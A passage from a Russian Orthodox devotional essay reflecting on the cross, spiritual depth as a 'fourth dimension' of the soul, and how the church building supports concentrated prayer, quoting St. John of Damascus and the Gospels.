Святой Иоанн Дамаскин писал о кресте: «Сила Божия есть слово крестное, или потому, что через него открылось нам могущество Божие, то есть победа над смертию, или потому что, подобно тому как четыре конца креста спомощию середины центра твердо держатся и крепко связываются, так и через посредство силы Божией со­держится и высота, и глубина, и длина, и ширина, то есть вся как. видимая, так и невидимая тварь» 22.

В отличие от длины, ширины и высоты глубина, вероятно,— измерение сугубо человеческое. Это, четвертое, измерение простирается в душе и сознании человека. Можно предположить, что размеры глубины этого «четвертого измерения» зависят от собственных усилий, смелости и дерзновения, духовного подвига каждого человека. Поэтому у каждого, как и у трех учеников Господних на Фаворе в момент Его Преображения, есть возможность осознать и вместить Его Божественную Славу и Промысел «якоже можаху».

Имея перед собой идеал, который есть Путь, Жизнь и Истина (Ин. 14, 6.), решаясь следовать за Ним, человек всего лишь выполняет свое предназначение, становится новым. На этом пути к Богу как бы само собой, незаметно, выполняются и все остальные жизненные задачи (Мф. 6, 33.).

Но самому удержать молитвенное напряжение (что является необходимым условием для вырабатывания нового человека) можно толь­ко с большим трудом, а в храме, где все создано, чтобы человек мог не рассеиваясь сосредоточиться на мысли о Боге,— это сделать гораздо проще. Даже в пустом храме, где росписи и иконы в одиночестве предстоят Господу, своим примером, своей молчаливой требовательностью они напрягают и возвышают человека до предвечной молитвы. Оказавшись в «средостении», перекрестье пространства и времени, так хорошо явленном в православном храме, верующий человек одновременно пребывает в сосредоточении настоящего мгновения и в вечности и, представ Богу еще здесь, на земле, решает свой главный вопрос: кто он? с кем он? Другого времени для этого уже не будет.


Добавить комментарий